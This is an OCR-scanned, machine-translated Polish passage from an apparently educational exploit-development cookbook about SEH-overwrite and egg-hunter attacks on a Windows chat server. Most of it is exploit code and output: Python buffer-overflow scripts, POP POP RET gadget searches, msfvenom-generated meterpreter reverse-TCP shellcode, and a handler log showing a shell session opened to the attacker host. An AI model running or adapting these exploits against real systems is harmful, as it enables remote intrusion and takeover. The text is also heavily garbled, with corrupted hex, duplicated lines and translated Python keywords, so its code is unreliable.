ali:/media/sf Downloads/B00K# /usr/share/metasploit-framework/tools/exploi t/pattern_create.rb -l 2500 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad5Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A F3A F4A F5A F6A F7A F8A F9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 AiOAilAi2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0AjlAj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0AklAk2Ak3Ak4Ak5Ak 6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9AoGAo1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9 Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As |6As7As8As9At0At1At2At3At4At5At5At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A v3Av4Av5Av6Av7Av8Av9AwGAw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9 Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9 Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi 6B17B18B19B10B11B12B13B14B15B16B17B18B19Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B <u>13814B15B16B17B18B19Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bh9</u> Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq 6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9 Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By 6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C b3Cb4Cb5Cb6Cb7Cb8Cb9Cc8Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9

15. Kod powinien wyglądać mniej więcej tak:

```
#!/usr/bin/python
import socket
target_address="192.168.110.12"
target_port=666D
puffer = "USV '
ouffer +=
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac
sock=socket.socket(socket.AF_INET, socket.SDCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
print "Sent!!"|
sock.close()
```

16. Teraz uruchamiamy ten plik, a w Immunity Debugger zobaczymy błąd naruszenia dostępu. Teraz przechodzimy do Widok | Łańcuch SEH.

17. Zobaczymy, że nasz SEH został nadpisany bajtami. Kopiujemy wartość 42326742 i znajdujemy jej lokalizację za pomocą skryptu pattern_offset w Kali:

ruby /path/to/script/pattern_offset.rb -q 423267412

Poniższy zrzut ekranu pokazuje wynik poprzedniego polecenia:

18. Zobaczymy, że offset wynosi 966 bajtów, przy których handler jest nadpisywany.

19. Teraz zmodyfikujmy trochę nasz exploit i zobaczmy, co się stanie. Mamy 966 bajtów; użyjemy 962 bajtów As i 4 bajtów punktu przerwania i 4 bajtów z Bs, a resztę bajtów z Cs, aby zobaczyć, co się stanie:

```
#!/usr/bin/python
importuj adres gniazda="192.168.110.12"
port=6660 bufor = "USV "
bufor+= "A" * 962
bufor+= "\xcc\xcc\xcc\xcc"
bufor+= "BBBB"
bufor+= "C" * (2504 - len(bufor))
bufor+= "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

connect=sock.connect((adres_docelowy,port_docelowy))

sock.send(bufor)

sock.close()

20. Uruchamiamy to i przeglądamy łańcuch SEH. Tutaj zauważymy ciekawą rzecz: pierwsze 4 punkty przerwania, które dodaliśmy, faktycznie nadpisały adres pamięci, a następne 4 zostały nadpisane w naszym programie obsługi SEH:

Dzieje się tak, ponieważ SEH jest wskaźnikiem wskazującym na adres pamięci, w którym kod jest przechowywany, gdy wystąpi wyjątek.

21. Przekażmy wyjątek do programu, a zobaczymy, że EIP został nadpisany, ale gdy zajrzymy do pamięci, zobaczymy, że nasze C zostały zapisane około 6 bajtów po naszych B w pamięci. Możemy użyć POP RET, a następnie krótkiego kodu JUMP, aby przejść do naszego kodu powłoki.

22. Wpisujemy polecenie !safeseh w konsoli debugera:

00500078 00500088 00500088 00500098 00500098 00500098 005000000 005000000 0050000000000	DE 76 76 88 69 30 98 28 28	269 49 45 68 70	40 41 41 41 41 41 41 41 41 41	00 00 00 00 00 00 00 00 00	F8 97 97 87 87 87 10 35 27	3469 449 449 672 615	41 41 41 41 41 41 41 41 41 41 41	00 00 00 00 00 00 00	"#0.%FA. ∪IA.ùIA. UIA.%JA. KJA.ÇJA. iUA.%DA. ÇSA.5FA. ÿSA.5FA.	
lsafese	h									

23. To pokaże nam listę wszystkich bibliotek DLL, które nie są kompilowane przy użyciu SAFESEH/ON. W oknie dziennika zobaczymy listę funkcji:

Log data
Address Message
0BADF00D 0x731bbee5
0BADF00D 0x731bbf29
08ADF00D 0x731bbf6d
08HDF00D 0x 231bb+09
0BDDF00D 0X731D00057
BODESCO RECORDER
BRDFCAD BrtScruer.eve: ### SafeSEH upprotected ###
BBOFAD URA FT32. DLL: *** SafeSEH upprotected ***
ØBADFØØD USP10.dll: SafeSEH protected
ØBADFØØD USP10.dll: No handler
ØBADF00D Secur32.dll: SafeSEH protected
0BADF00D Secur32.dll: 2 handler(s)
0BADF00D 0x77fe6a4a
08ADF00D 0x77fe6b50
UBHDFUUD WS2HELP.dll: SafeSEH protected
UBHUFUUU WS2HELP.dll: 2 handler(s)
0B0DF00D 08 /1 a2444
BRONERADI 08/1442344
BRDFBRD 01032 dll t bandler(s)
0880F000 0x275f4d29
ØBADFØØD SHLWAPI.dll: SafeSEH protected
ØBADFØØD SHLWAPI.dll: 1 handler(s)
0BADF00D 0x77fc85e5
0BADF00D hnetcfg.dll: SafeSEH protected
08ADF00D hnetofg.dll: 211 handler(s)
0800F000 0x662e7dfe
0B0DF00D 0x662e8881
00000000000000000000000000000000000000
00007000 806220000 8007000 806220000
0B0F001 0x662e8841
880F000 8x652x8908
0BADF00D 0x662e891f
0BADF00D 0x662e8936
0BADF00D 0x662e8959
ABADEAADI Ax662e8973

24. Użyjmy biblioteki DLL vbajet32.dll. Naszym celem jest znalezienie sekwencji POP POP RET w bibliotece DLL, której możemy użyć do ominięcia SEH.

25. Znajdujemy naszą bibliotekę DLL na komputerze z systemem Windows i kopiujemy ją do Kali. Kali ma inne świetne narzędzie znane jako msfpescan, którego można użyć do znalezienia sekwencji POP POP RET w bibliotece DLL:

/path/to/msfpescan -f vbajet32.dll -s

Poniższy zrzut ekranu pokazuje wynik poprzedniego polecenia:

root@kali:/	media/s	f_Down1	
0x0f9alf0b	ebx e	cx ret	
0x0f9a31c8	ebx e	cx ret	
0x0f9a3254	ebx e	cx ret	
0x0f9a3269	ebx e	cx ret	
0x0f9a3295	ebx e	cx ret	
0x0f9a36ce	ebx e	cx ret	
0x0f9a36e7	ebx e	cx ret	
0x0f9a37ea	ebx e	cx ret	
0x0f9a3828	ebxee	x, ret	
0x0f9a3830	ebx eo	cx ret	
0x0f9a41a8	ebx e	cx ret	
0x0f9a3a46	esie	ox ret	
0x0f9a4Gc1	esie	ox ret	
0x0f9a4Gdb	esi e	ox ret	
0x0f9a4743	esi e	ox ret	
0x0f9a4822	esi e	ox ret	
0x0f9a3aa7	esi e	di ret	
0x0f9a3b4b	esi e	di ret	- downtoads/book# /dst/share/netasptoit-Trailework/tobts/exptoi

26. Tutaj mamy adresy wszystkich sekwencji POP POP RET w pliku .dll. Użyjemy pierwszej, 0x0f9a1f0b. Potrzebujemy również krótkiego kodu JUMP, który spowoduje skok do naszego kodu powłoki lub Cs przechowywanych w pamięci.

27. Krótki JUMP to \xeb\x06, gdzie 06 to liczba bajtów, o które musimy przeskoczyć. Nadal brakuje nam 2 bajtów do 4-bajtowej przestrzeni adresowej i możemy użyć 2 NOP-ów.

28. Utwórzmy kod powłoki; ponieważ wysyłamy go przez HTTP, musimy upewnić się, że unikamy złych znaków. Użyjemy msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp -f py -b "\x00\xff\x20\x25\x0a\x-d" -v buffer

Poniższy zrzut ekranu pokazuje wynik poprzedniego polecenia:

rootgwall:/media/sf_Downloads/800K# msfvenon -p windows/meterpreter/reverse_tcp -r py -b "\x00\x11\x0a\x0d\x20\x25" -v buffer
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the psyload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x85/shikata ga nai
x86/shikata_ga_nal succeeded with size 360 (iteration=0)
x86/shikata ga nai chosen with final size 360
Payload size: 368 bytes
Final size of py file: 1843 bytes
buffer - """
buffer += "\xb8\x52\x62\xd2\xb0\xdd\xc1\xd9\x74\x74\x54"
buffer += "\x29\xc9\xb1\x54\x83\xee\xfc\x31\x46\x0f\x03\x46"
buffer += "\x5d\x80\x27\x47\x89\xc6\xc8\xb8\x49\xa7\x4)\x5d"
buffer += "\x78\xe7\x36\x15\x2a\xd7\x3d\x7b\xc6\x9c\x18\x68"
buffer += "\x5d\xdB\xbc\x9f\xd6\x5f\x9b\xae\xe7\xcc\xdf\xb]"
buffer += "\x6b\x8f\x8f\x8z\x12\x52\xc8\x41\x53\x93\x93\x93\x94\x8b\x81************************************
buffer += "\\4r\x49\x1e\xb6\x19\x1o\xb6\x19\x87\xa3\x3d\xb1\x86\xa3\xa2"
buffer += "\y81\y82\y74\y14\y13\y74\y14\y15\y84\y75\y71\y81\y84\y75\y74\y86\y86\y86
buffer ++ "was why why with was well was well and was a well and was well and we was the second of t
buffae' = "\v\$U\v\$V\v\$V\v7A\v7A\v7A\v7A\v7A\v7A\v7A\v7A\v7A\v7A
Definition (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
buriner

29. Umieścimy wszystko w exploicie w następujący sposób:

#!/usr/bin/python

import socket

target_address="192.168.110.12"

target_port=6660

#Shellcode Reverse meterpreter. buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e" buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e" buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72" buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f" buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce" buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60" buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3" buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f" buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11" buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74" buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f" buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4" buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1" buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b" buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0" buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0" buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48" buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c" buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c" buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda" buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0" buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc" buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"

buffer += "\x90" * 16

buffer += "\x6a\x19\x9a\x0f"

POP+POP+RET 0x0f9a196a

buffer += "\xeb\x06\x90\x90"

6 Bytes SHORT jump to shellcode

buffer += "\x41" * 962 #offset

buffer = "USV "

```
buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
# NOP SLED
buffer += "\x90" * (2504 - len(buffer))
buffer += "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
print "Sent!!"
sock.close()
```

Poniższy zrzut ekranu pokazuje wynik poprzedniego polecenia:

#!/usr/bin/python import socket
target_address="192.168.110.12" target_port=6660
<pre>buffer = "USV ' buffer += "\x41" * 962 #offset # 6 Bytes SHORT jump to shellcode buffer += "\xeb\x06\x90" # POP+POP+RET 0x0f9a196a buffer += "\x6a\x19\x9a\x0f" buffer t= "\x6a\x19\x9a\x0f"</pre>
<pre>#shellcode Reverse meterpreter. buffer += "\xb8\x52\x62\xd2\xbb\xdd\xc1\xd9\x74\x24\xf4\x5e" buffer += "\x29\xc9\xb1\x54\x83\xee\xfc\x31\x46\x0f\x03\x46" buffer += "\x5d\x80\x27\x47\x89\xc6\xc8\xb8\x49\xa7\x41\x5d" buffer += "\x78\xe7\x36\x15\x2a\xd7\x3d\x7b\xc6\x9c\x10\x68" buffer += "\x5d\xd0\xbc\x9f\xd6\x5f\x9b\xae\xe7\xcc\xdf\xb1"</pre>
<pre>buffer += "\x6b\x0f\x0c\x12\x52\xc0\x41\x53\x93\x3d\xab\x01" buffer += "\x4c\x49\x1e\xb6\xf9\x07\xa3\x3d\xb1\x86\xa3\xa2" buffer += "\x01\xa8\x82\x74\x1a\xf3\x04\x76\xcf\x8f\x0c\x60" buffer += "\x0c\xb5\xc7\x1b\xe6\x41\xd6\xcd\x37\xa9\x75\x30" buffer += "\x68\x58\x87\x74\x3e\x83\xf2\x8c\x3d\x3e\x05\x4b" buffer += "\x68\x58\x87\x74\x3e\x83\xf2\x8c\x3d\x3e\x05\x4b"</pre>
<pre>buffer += "\x1b\x08\xal\x19\x3f\x8f\x66\x12\x3b\x04\x89\xf5" buffer += "\xca\x5e\xae\xdl\x97\x05\xcf\x40\x7d\xeb\xf0\x93" buffer += "\xde\x54\x55\xdf\xf2\x81\xe4\x82\x9a\x66\xc5\x3c" buffer += "\x5a\xe1\x5e\x4e\x68\xae\xf4\xd8\xc0\x27\xd3\x1f" buffer += "\x27\x12\xa3\xb0\xd6\x9d\xd4\x99\x1c\xc9\x84\xb1"</pre>
buffer += "\xb5\x72\x4f\x42\x3a\xa7\xfa\x47\xac\x88\x53\x29" buffer += "\x2b\x61\xa6\xb6\x22\x2d\x2f\x50\x14\x9d\x7f\xcd" buffer += "\xd4\x4d\xc0\xbd\xbc\x87\xcf\xe2\xdc\xa7\x05\x8b" buffer += "\x76\x48\xf0\xe3\xee\xf1\x59\x7f\x8f\xfe\x77\x05"

30. Uruchommy to tym razem bez debugera. Otworzymy nasz handler w Kali i powinniśmy mieć dostęp do meterpretera:

<u>mst</u> exploit(handler) > exploit about will need to use jump values t
<pre>[*] Started reverse TCP handler on 192.168.110.7:4444</pre>
[*] Starting the payload handler
[*] Sending stage (957487 bytes) to 192.168.110.12
[*] Meterpreter session 3 opened (192.168.110.7:4444 -> 192.168.110.1)
1380) at 2017-07-14 08:54:54 -0400 one jump code that I developed inspired by phrack #62 Article
meterpreterned and this security forest article on SEH exploitation

Wykorzystywanie łowców jaj

Łowienie jaj jest stosowane, gdy w pamięci nie ma wystarczająco dużo miejsca, aby umieścić nasz kod powłoki jeden po drugim. Stosując tę technikę, poprzedzamy unikalny znacznik naszym kodem powłoki, a następnie łowca jaj zasadniczo wyszuka ten znacznik w pamięci i wykona kod powłoki. Łowca jaj zawiera zestaw instrukcji programistycznych; nie różni się on zbytnio od kodu powłoki. Dostępnych jest wielu łowców jaj. Możesz dowiedzieć się więcej o nich i o tym, jak działają, z tego dokumentu autorstwa skape: http://www. hick. org/ code/ skape/ papers/egghunt- shellcode. pdf.

Przygotowania

Spróbujemy stworzyć eksploit z łowcą jaj dla tego samego oprogramowania, którego użyliśmy w poprzednim przepisie. Logika stojąca za eksploitem byłaby podobna do tej pokazanej na poniższym diagramie:

Junk Bytes NSEH SEH EGGHUNTER SHELLCODE	Junk Bytes	nSEH SEI	EH EGGHUNTER	SHELLCODE
--	---------------	----------	--------------	-----------

Naszym celem jest nadpisanie nSEH, a następnie SEH, aby umożliwić przejście do kodu powłoki programu Egg Hunter, który po uruchomieniu znajdzie i wykona nasz kod powłoki w pamięci.

Jak to zrobić...

Oto kroki, które pokazują użycie programu Egg Hunter:

1. Uruchamiamy oprogramowanie w systemie Windows i dołączamy je do debugera:

Select process to attach											
PID Name	Service	Listening	Window	Path 🔨							
612 calc 660 services 672 lsass 824 UBoxService 868 svchost 876 alg 896 UBoxTray 956 svchost 1048 svchost 1048 svchost 1224 calc 1272 AntAdmin 1328 AvServer 1448 AntDS 1468 wsontfy 1472 Explorer 1576 spoolsv 1964 AntServer	Eventlog, Plug PolicyAgent, P: UBoxService DcomLaunch, Te: ALG RpcSs AudioSrv, Cryp Dnscache LmHosts, Remot AvServer AntDS Spooler AntServer	UDP: 500 4500 TCP: 1026 TCP: 135 UDP: 123 123 UDP: 1025 1040 UDP: 1900 1900 UDP: 6662 TCP: 6660	VBoxTrayDnDWnd BigAnt Console Start Menu	C: \WINDO C: \Progr C: \Progr C: \WINDO C: \WINDO C: \WINDO C: \WINDO C: \WINDO C: \WINDO C: \WINDO C: \Progr							

2. Znamy już bajty awarii i adres, aby ominąć SAFESEH.

3. Teraz musimy dodać naszego łowcę jajek, a następnie użyć go, aby przejść do naszego kodu powłoki.

4. Jak wiemy, łowca jajek jest kodem powłoki, a podstawową zasadą korzystania z kodu powłoki jest upewnienie się, że nie zawiera on żadnych złych znaków.

5. Przyjrzyjmy się poprzedniemu exploitowi, który wykonaliśmy:

#!/usr/bin/python
import socket
target_address="192.168.110.12"
target_port=6660
buffer = "USV "

buffer += "\x90" * 16 #Shellcode Reverse meterpreter. buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e" buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e" buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72" buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f" buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce" buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60" buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3" buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f" buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11" buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74" buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f" buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4" buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1" buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b" buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0" buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0" buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48" buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c" buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c" buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda" buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0" buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc" buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee" buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"

buffer += "\x41" * 962 #offset

buffer += "\xeb\x06\x90\x90"

POP+POP+RET 0x0f9a196a

buffer += "x6ax19x9ax0f"

6 Bytes SHORT jump to shellcode

```
buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
# NOP SLED
buffer += "\x90" * (2504 - len(buffer))
buffer += "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
print "Sent!!"
```

sock.close()

6. Załóżmy, że kod powłoki nie znajduje się po 6 bajtach skoku, który wykonaliśmy w pamięci. W tej sytuacji możemy użyć łowcy jajek, aby stworzyć niezawodny exploit dla oprogramowania.

7. Teraz może to brzmieć łatwo, ale są pewne komplikacje. Potrzebujemy, aby nasz ostateczny exploit podążał za przepływem, jak wspomnieliśmy na schemacie, ale musimy również upewnić się, że mamy wystarczająco dużo NOP-ów w kodzie, aby zapewnić exploit.

8. Tak powinien wyglądać nasz przepływ eksploatacji, ponieważ w naszym przypadku mieliśmy wystarczająco dużo pamięci, aby mieć kod powłoki. Ale w innych przypadkach możemy nie mieć tak dużo pamięci lub nasz kod powłoki może być przechowywany gdzie indziej w pamięci. W takich przypadkach możemy przejść do polowania na jajka, co omówimy w późniejszym przepisie:

Junk Bytes	nSEH	SEH	Nop	Egghunter	Nop	Tag	Shellcode
---------------	------	-----	-----	-----------	-----	-----	-----------

9. Zgodnie z powyższym diagramem przepływu nasz kod powłoki wyglądałby mniej więcej tak:

#!/usr/bin/python
import socket
target_address="192.168.110.12"
target_port=6660
#Egghunter Shellcode 32 bytes
egghunter = ""

buffer = "" buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e" buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e" buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72" buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f" buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce" buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60" buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3" buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f" buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11" buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74" buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f" buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4" buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1" buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b" buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0" buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0" buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48" buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c" buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c" buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda" buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"

#Shellcode Reverse meterpreter. 360 bytes

seh = "\x6a\x19\x9a\x0f"

POP+POP+RET 0x0f9a196a

nseh = "\xeb\x09\x90\x90"

6 Bytes SHORT jump to shellcode

 $x75\xe7\xff\xe7$

egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf

x2e\x3c\x05\x5a\x74"

egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\

```
buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
nop = "\x90" * 301
tag = "w00tw00t"
buffer1 = "USV "
buffer1 += nop * 2 + "\x90" * 360
buffer1 += nseh + seh # 8
buffer1 += "\x90" * 6 #
buffer1 += egghunter
buffer1 += nop
buffer1 += tag
buffer1 += buffer
buffer1 += "\x90" * (3504 - len(buffer))
buffer1 += "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer1)
print "Sent!!"
